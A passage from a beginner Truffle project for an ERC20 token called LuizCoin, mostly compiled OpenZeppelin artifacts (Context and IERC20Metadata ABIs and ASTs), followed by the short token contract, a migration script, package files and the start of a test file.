msg.sender and msg.data, they should not be accessed in such a direct\n * manner, since when dealing with meta-transactions the account sending and\n * paying for execution may not be the actual sender (as far as an application\n * is concerned).\n *\n * This contract is only required for intermediate, library-like contracts.\n */\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n", 13 | "sourcePath": "@openzeppelin/contracts/utils/Context.sol", 14 | "ast": { 15 | "absolutePath": "@openzeppelin/contracts/utils/Context.sol", 16 | "exportedSymbols": { 17 | "Context": [ 18 | 711 19 | ] 20 | }, 21 | "id": 712, 22 | "license": "MIT", 23 | "nodeType": "SourceUnit", 24 | "nodes": [ 25 | { 26 | "id": 691, 27 | "literals": [ 28 | "solidity", 29 | "^", 30 | "0.8", 31 | ".0" 32 | ], 33 | "nodeType": "PragmaDirective", 34 | "src": "86:23:3" 35 | }, 36 | { 37 | "abstract": true, 38 | "baseContracts": [], 39 | "canonicalName": "Context", 40 | "contractDependencies": [], 41 | "contractKind": "contract", 42 | "documentation": { 43 | "id": 692, 44 | "nodeType": "StructuredDocumentation", 45 | "src": "111:496:3", 46 | "text": " @dev Provides information about the current execution context, including the\n sender of the transaction and its data. While these are generally available\n via msg.sender and msg.data, they should not be accessed in such a direct\n manner, since when dealing with meta-transactions the account sending and\n paying for execution may not be the actual sender (as far as an application\n is concerned).\n This contract is only required for intermediate, library-like contracts." 47 | }, 48 | "fullyImplemented": true, 49 | "id": 711, 50 | "linearizedBaseContracts": [ 51 | 711 52 | ], 53 | "name": "Context", 54 | "nameLocation": "626:7:3", 55 | "nodeType": "ContractDefinition", 56 | "nodes": [ 57 | { 58 | "body": { 59 | "id": 700, 60 | "nodeType": "Block", 61 | "src": "702:34:3", 62 | "statements": [ 63 | { 64 | "expression": { 65 | "expression": { 66 | "id": 697, 67 | "name": "msg", 68 | "nodeType": "Identifier", 69 | "overloadedDeclarations": [], 70 | "referencedDeclaration": 4294967281, 71 | "src": "719:3:3", 72 | "typeDescriptions": { 73 | "typeIdentifier": "t_magic_message", 74 | "typeString": "msg" 75 | } 76 | }, 77 | "id": 698, 78 | "isConstant": false, 79 | "isLValue": false, 80 | "isPure": false, 81 | "lValueRequested": false, 82 | "memberLocation": "723:6:3", 83 | "memberName": "sender", 84 | "nodeType": "MemberAccess", 85 | "src": "719:10:3", 86 | "typeDescriptions": { 87 | "typeIdentifier": "t_address", 88 | "typeString": "address" 89 | } 90 | }, 91 | "functionReturnParameters": 696, 92 | "id": 699, 93 | "nodeType": "Return", 94 | "src": "712:17:3" 95 | } 96 | ] 97 | }, 98 | "id": 701, 99 | "implemented": true, 100 | "kind": "function", 101 | "modifiers": [], 102 | "name": "_msgSender", 103 | "nameLocation": "649:10:3", 104 | "nodeType": "FunctionDefinition", 105 | "parameters": { 106 | "id": 693, 107 | "nodeType": "ParameterList", 108 | "parameters": [], 109 | "src": "659:2:3" 110 | }, 111 | "returnParameters": { 112 | "id": 696, 113 | "nodeType": "ParameterList", 114 | "parameters": [ 115 | { 116 | "constant": false, 117 | "id": 695, 118 | "mutability": "mutable", 119 | "name": "", 120 | "nameLocation": "-1:-1:-1", 121 | "nodeType": "VariableDeclaration", 122 | "scope": 701, 123 | "src": "693:7:3", 124 | "stateVariable": false, 125 | "storageLocation": "default", 126 | "typeDescriptions": { 127 | "typeIdentifier": "t_address", 128 | "typeString": "address" 129 | }, 130 | "typeName": { 131 | "id": 694, 132 | "name": "address", 133 | "nodeType": "ElementaryTypeName", 134 | "src": "693:7:3", 135 | "stateMutability": "nonpayable", 136 | "typeDescriptions": { 137 | "typeIdentifier": "t_address", 138 | "typeString": "address" 139 | } 140 | }, 141 | "visibility": "internal" 142 | } 143 | ], 144 | "src": "692:9:3" 145 | }, 146 | "scope": 711, 147 | "src": "640:96:3", 148 | "stateMutability": "view", 149 | "virtual": true, 150 | "visibility": "internal" 151 | }, 152 | { 153 | "body": { 154 | "id": 709, 155 | "nodeType": "Block", 156 | "src": "809:32:3", 157 | "statements": [ 158 | { 159 | "expression": { 160 | "expression": { 161 | "id": 706, 162 | "name": "msg", 163 | "nodeType": "Identifier", 164 | "overloadedDeclarations": [], 165 | "referencedDeclaration": 4294967281, 166 | "src": "826:3:3", 167 | "typeDescriptions": { 168 | "typeIdentifier": "t_magic_message", 169 | "typeString": "msg" 170 | } 171 | }, 172 | "id": 707, 173 | "isConstant": false, 174 | "isLValue": false, 175 | "isPure": false, 176 | "lValueRequested": false, 177 | "memberLocation": "830:4:3", 178 | "memberName": "data", 179 | "nodeType": "MemberAccess", 180 | "src": "826:8:3", 181 | "typeDescriptions": { 182 | "typeIdentifier": "t_bytes_calldata_ptr", 183 | "typeString": "bytes calldata" 184 | } 185 | }, 186 | "functionReturnParameters": 705, 187 | "id": 708, 188 | "nodeType": "Return", 189 | "src": "819:15:3" 190 | } 191 | ] 192 | }, 193 | "id": 710, 194 | "implemented": true, 195 | "kind": "function", 196 | "modifiers": [], 197 | "name": "_msgData", 198 | "nameLocation": "751:8:3", 199 | "nodeType": "FunctionDefinition", 200 | "parameters": { 201 | "id": 702, 202 | "nodeType": "ParameterList", 203 | "parameters": [], 204 | "src": "759:2:3" 205 | }, 206 | "returnParameters": { 207 | "id": 705, 208 | "nodeType": "ParameterList", 209 | "parameters": [ 210 | { 211 | "constant": false, 212 | "id": 704, 213 | "mutability": "mutable", 214 | "name": "", 215 | "nameLocation": "-1:-1:-1", 216 | "nodeType": "VariableDeclaration", 217 | "scope": 710, 218 | "src": "793:14:3", 219 | "stateVariable": false, 220 | "storageLocation": "calldata", 221 | "typeDescriptions": { 222 | "typeIdentifier": "t_bytes_calldata_ptr", 223 | "typeString": "bytes" 224 | }, 225 | "typeName": { 226 | "id": 703, 227 | "name": "bytes", 228 | "nodeType": "ElementaryTypeName", 229 | "src": "793:5:3", 230 | "typeDescriptions": { 231 | "typeIdentifier": "t_bytes_storage_ptr", 232 | "typeString": "bytes" 233 | } 234 | }, 235 | "visibility": "internal" 236 | } 237 | ], 238 | "src": "792:16:3" 239 | }, 240 | "scope": 711, 241 | "src": "742:99:3", 242 | "stateMutability": "view", 243 | "virtual": true, 244 | "visibility": "internal" 245 | } 246 | ], 247 | "scope": 712, 248 | "src": "608:235:3", 249 | "usedErrors": [] 250 | } 251 | ], 252 | "src": "86:758:3" 253 | }, 254 | "compiler": { 255 | "name": "solc", 256 | "version": "0.8.17+commit.8df45f5f.Emscripten.clang" 257 | }, 258 | "networks": {}, 259 | "schemaVersion": "3.4.9", 260 | "updatedAt": "2022-11-14T18:34:51.031Z", 261 | "devdoc": { 262 | "details": "Provides information about the current execution context, including the sender of the transaction and its data. While these are generally available via msg.sender and msg.data, they should not be accessed in such a direct manner, since when dealing with meta-transactions the account sending and paying for execution may not be the actual sender (as far as an application is concerned). This contract is only required for intermediate, library-like contracts.", 263 | "kind": "dev", 264 | "methods": {}, 265 | "version": 1 266 | }, 267 | "userdoc": { 268 | "kind": "user", 269 | "methods": {}, 270 | "version": 1 271 | } 272 | } -------------------------------------------------------------------------------- /token-erc20-truffle/build/contracts/IERC20Metadata.json: -------------------------------------------------------------------------------- 1 | { 2 | "contractName": "IERC20Metadata", 3 | "abi": [ 4 | { 5 | "anonymous": false, 6 | "inputs": [ 7 | { 8 | "indexed": true, 9 | "internalType": "address", 10 | "name": "owner", 11 | "type": "address" 12 | }, 13 | { 14 | "indexed": true, 15 | "internalType": "address", 16 | "name": "spender", 17 | "type": "address" 18 | }, 19 | { 20 | "indexed": false, 21 | "internalType": "uint256", 22 | "name": "value", 23 | "type": "uint256" 24 | } 25 | ], 26 | "name": "Approval", 27 | "type": "event" 28 | }, 29 | { 30 | "anonymous": false, 31 | "inputs": [ 32 | { 33 | "indexed": true, 34 | "internalType": "address", 35 | "name": "from", 36 | "type": "address" 37 | }, 38 | { 39 | "indexed": true, 40 | "internalType": "address", 41 | "name": "to", 42 | "type": "address" 43 | }, 44 | { 45 | "indexed": false, 46 | "internalType": "uint256", 47 | "name": "value", 48 | "type": "uint256" 49 | } 50 | ], 51 | "name": "Transfer", 52 | "type": "event" 53 | }, 54 | { 55 | "inputs": [ 56 | { 57 | "internalType": "address", 58 | "name": "owner", 59 | "type": "address" 60 | }, 61 | { 62 | "internalType": "address", 63 | "name": "spender", 64 | "type": "address" 65 | } 66 | ], 67 | "name": "allowance", 68 | "outputs": [ 69 | { 70 | "internalType": "uint256", 71 | "name": "", 72 | "type": "uint256" 73 | } 74 | ], 75 | "stateMutability": "view", 76 | "type": "function" 77 | }, 78 | { 79 | "inputs": [ 80 | { 81 | "internalType": "address", 82 | "name": "spender", 83 | "type": "address" 84 | }, 85 | { 86 | "internalType": "uint256", 87 | "name": "amount", 88 | "type": "uint256" 89 | } 90 | ], 91 | "name": "approve", 92 | "outputs": [ 93 | { 94 | "internalType": "bool", 95 | "name": "", 96 | "type": "bool" 97 | } 98 | ], 99 | "stateMutability": "nonpayable", 100 | "type": "function" 101 | }, 102 | { 103 | "inputs": [ 104 | { 105 | "internalType": "address", 106 | "name": "account", 107 | "type": "address" 108 | } 109 | ], 110 | "name": "balanceOf", 111 | "outputs": [ 112 | { 113 | "internalType": "uint256", 114 | "name": "", 115 | "type": "uint256" 116 | } 117 | ], 118 | "stateMutability": "view", 119 | "type": "function" 120 | }, 121 | { 122 | "inputs": [], 123 | "name": "totalSupply", 124 | "outputs": [ 125 | { 126 | "internalType": "uint256", 127 | "name": "", 128 | "type": "uint256" 129 | } 130 | ], 131 | "stateMutability": "view", 132 | "type": "function" 133 | }, 134 | { 135 | "inputs": [ 136 | { 137 | "internalType": "address", 138 | "name": "to", 139 | "type": "address" 140 | }, 141 | { 142 | "internalType": "uint256", 143 | "name": "amount", 144 | "type": "uint256" 145 | } 146 | ], 147 | "name": "transfer", 148 | "outputs": [ 149 | { 150 | "internalType": "bool", 151 | "name": "", 152 | "type": "bool" 153 | } 154 | ], 155 | "stateMutability": "nonpayable", 156 | "type": "function" 157 | }, 158 | { 159 | "inputs": [ 160 | { 161 | "internalType": "address", 162 | "name": "from", 163 | "type": "address" 164 | }, 165 | { 166 | "internalType": "address", 167 | "name": "to", 168 | "type": "address" 169 | }, 170 | { 171 | "internalType": "uint256", 172 | "name": "amount", 173 | "type": "uint256" 174 | } 175 | ], 176 | "name": "transferFrom", 177 | "outputs": [ 178 | { 179 | "internalType": "bool", 180 | "name": "", 181 | "type": "bool" 182 | } 183 | ], 184 | "stateMutability": "nonpayable", 185 | "type": "function" 186 | }, 187 | { 188 | "inputs": [], 189 | "name": "name", 190 | "outputs": [ 191 | { 192 | "internalType": "string", 193 | "name": "", 194 | "type": "string" 195 | } 196 | ], 197 | "stateMutability": "view", 198 | "type": "function" 199 | }, 200 | { 201 | "inputs": [], 202 | "name": "symbol", 203 | "outputs": [ 204 | { 205 | "internalType": "string", 206 | "name": "", 207 | "type": "string" 208 | } 209 | ], 210 | "stateMutability": "view", 211 | "type": "function" 212 | }, 213 | { 214 | "inputs": [], 215 | "name": "decimals", 216 | "outputs": [ 217 | { 218 | "internalType": "uint8", 219 | "name": "", 220 | "type": "uint8" 221 | } 222 | ], 223 | "stateMutability": "view", 224 | "type": "function" 225 | } 226 | ], 227 | "metadata": "{\"compiler\":{\"version\":\"0.8.17+commit.8df45f5f\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Approval\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":true,\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"indexed\":true,\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"value\",\"type\":\"uint256\"}],\"name\":\"Transfer\",\"type\":\"event\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"owner\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"}],\"name\":\"allowance\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"spender\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"approve\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"account\",\"type\":\"address\"}],\"name\":\"balanceOf\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"decimals\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"name\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"symbol\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"totalSupply\",\"outputs\":[{\"internalType\":\"uint256\",\"name\":\"\",\"type\":\"uint256\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transfer\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"address\",\"name\":\"from\",\"type\":\"address\"},{\"internalType\":\"address\",\"name\":\"to\",\"type\":\"address\"},{\"internalType\":\"uint256\",\"name\":\"amount\",\"type\":\"uint256\"}],\"name\":\"transferFrom\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"details\":\"Interface for the optional metadata functions from the ERC20 standard. _Available since v4.1._\",\"kind\":\"dev\",\"methods\":{\"allowance(address,address)\":{\"details\":\"Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default. This value changes when {approve} or {transferFrom} are called.\"},\"approve(address,uint256)\":{\"details\":\"Sets `amount` as the allowance of `spender` over the caller's tokens. Returns a boolean value indicating whether the operation succeeded. IMPORTANT: Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 Emits an {Approval} event.\"},\"balanceOf(address)\":{\"details\":\"Returns the amount of tokens owned by `account`.\"},\"decimals()\":{\"details\":\"Returns the decimals places of the token.\"},\"name()\":{\"details\":\"Returns the name of the token.\"},\"symbol()\":{\"details\":\"Returns the symbol of the token.\"},\"totalSupply()\":{\"details\":\"Returns the amount of tokens in existence.\"},\"transfer(address,uint256)\":{\"details\":\"Moves `amount` tokens from the caller's account to `to`. Returns a boolean value indicating whether the operation succeeded. Emits a {Transfer} event.\"},\"transferFrom(address,address,uint256)\":{\"details\":\"Moves `amount` tokens from `from` to `to` using the allowance mechanism. `amount` is then deducted from the caller's allowance. Returns a boolean value indicating whether the operation succeeded. Emits a {Transfer} event.\"}},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":\"IERC20Metadata\"},\"evmVersion\":\"london\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":200},\"remappings\":[]},\"sources\":{\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]}},\"version\":1}", 228 | "bytecode": "0x", 229 | "deployedBytecode": "0x", 230 | "immutableReferences": {}, 231 | "generatedSources": [], 232 | "deployedGeneratedSources": [], 233 | "sourceMap": "", 234 | "deployedSourceMap": "", 235 | "source": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../IERC20.sol\";\n\n/**\n * @dev Interface for the optional metadata functions from the ERC20 standard.\n *\n * _Available since v4.1._\n */\ninterface IERC20Metadata is IERC20 {\n /**\n * @dev Returns the name of the token.\n */\n function name() external view returns (string memory);\n\n /**\n * @dev Returns the symbol of the token.\n */\n function symbol() external view returns (string memory);\n\n /**\n * @dev Returns the decimals places of the token.\n */\n function decimals() external view returns (uint8);\n}\n", 236 | "sourcePath": "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol", 237 | "ast": { 238 | "absolutePath": "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol", 239 | "exportedSymbols": { 240 | "IERC20": [ 241 | 664 242 | ], 243 | "IERC20Metadata": [ 244 | 689 245 | ] 246 | }, 247 | "id": 690, 248 | "license": "MIT", 249 | "nodeType": "SourceUnit", 250 | "nodes": [ 251 | { 252 | "id": 666, 253 | "literals": [ 254 | "solidity", 255 | "^", 256 | "0.8", 257 | ".0" 258 | ], 259 | "nodeType": "PragmaDirective", 260 | "src": "110:23:2" 261 | }, 262 | { 263 | "absolutePath": "@openzeppelin/contracts/token/ERC20/IERC20.sol", 264 | "file": "../IERC20.sol", 265 | "id": 667, 266 | "nameLocation": "-1:-1:-1", 267 | "nodeType": "ImportDirective", 268 | "scope": 690, 269 | "sourceUnit": 665, 270 | "src": "135:23:2", 271 | "symbolAliases": [], 272 | "unitAlias": "" 273 | }, 274 | { 275 | "abstract": false, 276 | "baseContracts": [ 277 | { 278 | "baseName": { 279 | "id": 669, 280 | "name": "IERC20", 281 | "nameLocations": [ 282 | "305:6:2" 283 | ], 284 | "nodeType": "IdentifierPath", 285 | "referencedDeclaration": 664, 286 | "src": "305:6:2" 287 | }, 288 | "id": 670, 289 | "nodeType": "InheritanceSpecifier", 290 | "src": "305:6:2" 291 | } 292 | ], 293 | "canonicalName": "IERC20Metadata", 294 | "contractDependencies": [], 295 | "contractKind": "interface", 296 | "documentation": { 297 | "id": 668, 298 | "nodeType": "StructuredDocumentation", 299 | "src": "160:116:2", 300 | "text": " @dev Interface for the optional metadata functions from the ERC20 standard.\n _Available since v4.1._" 301 | }, 302 | "fullyImplemented": false, 303 | "id": 689, 304 | "linearizedBaseContracts": [ 305 | 689, 306 | 664 307 | ], 308 | "name": "IERC20Metadata", 309 | "nameLocation": "287:14:2", 310 | "nodeType": "ContractDefinition", 311 | "nodes": [ 312 | { 313 | "documentation": { 314 | "id": 671, 315 | "nodeType": "StructuredDocumentation", 316 | "src": "318:54:2", 317 | "text": " @dev Returns the name of the token." 318 | }, 319 | "functionSelector": "06fdde03", 320 | "id": 676, 321 | "implemented": false, 322 | "kind": "function", 323 | "modifiers": [], 324 | "name": "name", 325 | "nameLocation": "386:4:2", 326 | "nodeType": "FunctionDefinition", 327 | "parameters": { 328 | "id": 672, 329 | "nodeType": "ParameterList", 330 | "parameters": [], 331 | "src": "390:2:2" 332 | }, 333 | "returnParameters": { 334 | "id": 675, 335 | "nodeType": "ParameterList", 336 | "parameters": [ 337 | { 338 | "constant": false, 339 | "id": 674, 340 | "mutability": "mutable", 341 | "name": "", 342 | "nameLocation": "-1:-1:-1", 343 | "nodeType": "VariableDeclaration", 344 | "scope": 676, 345 | "src": "416:13:2", 346 | "stateVariable": false, 347 | "storageLocation": "memory", 348 | "typeDescriptions": { 349 | "typeIdentifier": "t_string_memory_ptr", 350 | "typeString": "string" 351 | }, 352 | "typeName": { 353 | "id": 673, 354 | "name": "string", 355 | "nodeType": "ElementaryTypeName", 356 | "src": "416:6:2", 357 | "typeDescriptions": { 358 | "typeIdentifier": "t_string_storage_ptr", 359 | "typeString": "string" 360 | } 361 | }, 362 | "visibility": "internal" 363 | } 364 | ], 365 | "src": "415:15:2" 366 | }, 367 | "scope": 689, 368 | "src": "377:54:2", 369 | "stateMutability": "view", 370 | "virtual": false, 371 | "visibility": "external" 372 | }, 373 | { 374 | "documentation": { 375 | "id": 677, 376 | "nodeType": "StructuredDocumentation", 377 | "src": "437:56:2", 378 | "text": " @dev Returns the symbol of the token." 379 | }, 380 | "functionSelector": "95d89b41", 381 | "id": 682, 382 | "implemented": false, 383 | "kind": "function", 384 | "modifiers": [], 385 | "name": "symbol", 386 | "nameLocation": "507:6:2", 387 | "nodeType": "FunctionDefinition", 388 | "parameters": { 389 | "id": 678, 390 | "nodeType": "ParameterList", 391 | "parameters": [], 392 | "src": "513:2:2" 393 | }, 394 | "returnParameters": { 395 | "id": 681, 396 | "nodeType": "ParameterList", 397 | "parameters": [ 398 | { 399 | "constant": false, 400 | "id": 680, 401 | "mutability": "mutable", 402 | "name": "", 403 | "nameLocation": "-1:-1:-1", 404 | "nodeType": "VariableDeclaration", 405 | "scope": 682, 406 | "src": "539:13:2", 407 | "stateVariable": false, 408 | "storageLocation": "memory", 409 | "typeDescriptions": { 410 | "typeIdentifier": "t_string_memory_ptr", 411 | "typeString": "string" 412 | }, 413 | "typeName": { 414 | "id": 679, 415 | "name": "string", 416 | "nodeType": "ElementaryTypeName", 417 | "src": "539:6:2", 418 | "typeDescriptions": { 419 | "typeIdentifier": "t_string_storage_ptr", 420 | "typeString": "string" 421 | } 422 | }, 423 | "visibility": "internal" 424 | } 425 | ], 426 | "src": "538:15:2" 427 | }, 428 | "scope": 689, 429 | "src": "498:56:2", 430 | "stateMutability": "view", 431 | "virtual": false, 432 | "visibility": "external" 433 | }, 434 | { 435 | "documentation": { 436 | "id": 683, 437 | "nodeType": "StructuredDocumentation", 438 | "src": "560:65:2", 439 | "text": " @dev Returns the decimals places of the token." 440 | }, 441 | "functionSelector": "313ce567", 442 | "id": 688, 443 | "implemented": false, 444 | "kind": "function", 445 | "modifiers": [], 446 | "name": "decimals", 447 | "nameLocation": "639:8:2", 448 | "nodeType": "FunctionDefinition", 449 | "parameters": { 450 | "id": 684, 451 | "nodeType": "ParameterList", 452 | "parameters": [], 453 | "src": "647:2:2" 454 | }, 455 | "returnParameters": { 456 | "id": 687, 457 | "nodeType": "ParameterList", 458 | "parameters": [ 459 | { 460 | "constant": false, 461 | "id": 686, 462 | "mutability": "mutable", 463 | "name": "", 464 | "nameLocation": "-1:-1:-1", 465 | "nodeType": "VariableDeclaration", 466 | "scope": 688, 467 | "src": "673:5:2", 468 | "stateVariable": false, 469 | "storageLocation": "default", 470 | "typeDescriptions": { 471 | "typeIdentifier": "t_uint8", 472 | "typeString": "uint8" 473 | }, 474 | "typeName": { 475 | "id": 685, 476 | "name": "uint8", 477 | "nodeType": "ElementaryTypeName", 478 | "src": "673:5:2", 479 | "typeDescriptions": { 480 | "typeIdentifier": "t_uint8", 481 | "typeString": "uint8" 482 | } 483 | }, 484 | "visibility": "internal" 485 | } 486 | ], 487 | "src": "672:7:2" 488 | }, 489 | "scope": 689, 490 | "src": "630:50:2", 491 | "stateMutability": "view", 492 | "virtual": false, 493 | "visibility": "external" 494 | } 495 | ], 496 | "scope": 690, 497 | "src": "277:405:2", 498 | "usedErrors": [] 499 | } 500 | ], 501 | "src": "110:573:2" 502 | }, 503 | "compiler": { 504 | "name": "solc", 505 | "version": "0.8.17+commit.8df45f5f.Emscripten.clang" 506 | }, 507 | "networks": {}, 508 | "schemaVersion": "3.4.9", 509 | "updatedAt": "2022-11-14T18:34:51.031Z", 510 | "devdoc": { 511 | "details": "Interface for the optional metadata functions from the ERC20 standard. _Available since v4.1._", 512 | "kind": "dev", 513 | "methods": { 514 | "allowance(address,address)": { 515 | "details": "Returns the remaining number of tokens that `spender` will be allowed to spend on behalf of `owner` through {transferFrom}. This is zero by default. This value changes when {approve} or {transferFrom} are called." 516 | }, 517 | "approve(address,uint256)": { 518 | "details": "Sets `amount` as the allowance of `spender` over the caller's tokens. Returns a boolean value indicating whether the operation succeeded. IMPORTANT: Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 Emits an {Approval} event." 519 | }, 520 | "balanceOf(address)": { 521 | "details": "Returns the amount of tokens owned by `account`." 522 | }, 523 | "decimals()": { 524 | "details": "Returns the decimals places of the token." 525 | }, 526 | "name()": { 527 | "details": "Returns the name of the token." 528 | }, 529 | "symbol()": { 530 | "details": "Returns the symbol of the token." 531 | }, 532 | "totalSupply()": { 533 | "details": "Returns the amount of tokens in existence." 534 | }, 535 | "transfer(address,uint256)": { 536 | "details": "Moves `amount` tokens from the caller's account to `to`. Returns a boolean value indicating whether the operation succeeded. Emits a {Transfer} event." 537 | }, 538 | "transferFrom(address,address,uint256)": { 539 | "details": "Moves `amount` tokens from `from` to `to` using the allowance mechanism. `amount` is then deducted from the caller's allowance. Returns a boolean value indicating whether the operation succeeded. Emits a {Transfer} event." 540 | } 541 | }, 542 | "version": 1 543 | }, 544 | "userdoc": { 545 | "kind": "user", 546 | "methods": {}, 547 | "version": 1 548 | } 549 | } -------------------------------------------------------------------------------- /token-erc20-truffle/contracts/LuizCoin.sol: -------------------------------------------------------------------------------- 1 | //SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.17; 4 | 5 | import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; 6 | 7 | contract LuizCoin is ERC20 { 8 | address public admin; 9 | 10 | constructor() ERC20("LuizCoin", "LUC"){ 11 | _mint(msg.sender, 1000 * 10 ** 18); 12 | } 13 | } 14 | -------------------------------------------------------------------------------- /token-erc20-truffle/migrations/1_initial_migration.js: -------------------------------------------------------------------------------- 1 | const LuizCoin = artifacts.require("LuizCoin"); 2 | 3 | module.exports = function(deployer) { 4 | deployer.deploy(LuizCoin); 5 | }; 6 | -------------------------------------------------------------------------------- /token-erc20-truffle/package-lock.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "token-erc20-truffle", 3 | "lockfileVersion": 2, 4 | "requires": true, 5 | "packages": { 6 | "": { 7 | "dependencies": { 8 | "@openzeppelin/contracts": "^4.8.0", 9 | "bn.js": "^5.2.1" 10 | } 11 | }, 12 | "node_modules/@openzeppelin/contracts": { 13 | "version": "4.8.0", 14 | "resolved": "https://registry.npmjs.org/@openzeppelin/contracts/-/contracts-4.8.0.tgz", 15 | "integrity": "sha512-AGuwhRRL+NaKx73WKRNzeCxOCOCxpaqF+kp8TJ89QzAipSwZy/NoflkWaL9bywXFRhIzXt8j38sfF7KBKCPWLw==" 16 | }, 17 | "node_modules/bn.js": { 18 | "version": "5.2.1", 19 | "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.1.tgz", 20 | "integrity": "sha512-eXRvHzWyYPBuB4NBy0cmYQjGitUrtqwbvlzP3G6VFnNRbsZQIxQ10PbKKHt8gZ/HW/D/747aDl+QkDqg3KQLMQ==" 21 | } 22 | }, 23 | "dependencies": { 24 | "@openzeppelin/contracts": { 25 | "version": "4.8.0", 26 | "resolved": "https://registry.npmjs.org/@openzeppelin/contracts/-/contracts-4.8.0.tgz", 27 | "integrity": "sha512-AGuwhRRL+NaKx73WKRNzeCxOCOCxpaqF+kp8TJ89QzAipSwZy/NoflkWaL9bywXFRhIzXt8j38sfF7KBKCPWLw==" 28 | }, 29 | "bn.js": { 30 | "version": "5.2.1", 31 | "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.1.tgz", 32 | "integrity": "sha512-eXRvHzWyYPBuB4NBy0cmYQjGitUrtqwbvlzP3G6VFnNRbsZQIxQ10PbKKHt8gZ/HW/D/747aDl+QkDqg3KQLMQ==" 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /token-erc20-truffle/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "dependencies": { 3 | "@openzeppelin/contracts": "^4.8.0", 4 | "bn.js": "^5.2.1" 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /token-erc20-truffle/test/LuizCoin.test.js: -------------------------------------------------------------------------------- 1 | const LuizCoin = artifacts.require("LuizCoin"); 2 | const BN = require("bn.js"); 3 | 4 | contract('LuizCoin', function (accounts) { 5 | 6 | const DECIMALS = new BN(18); 7 | 8 | beforeEach(async () => { 9 | contract = await LuizCoin.new(); 10 | }) 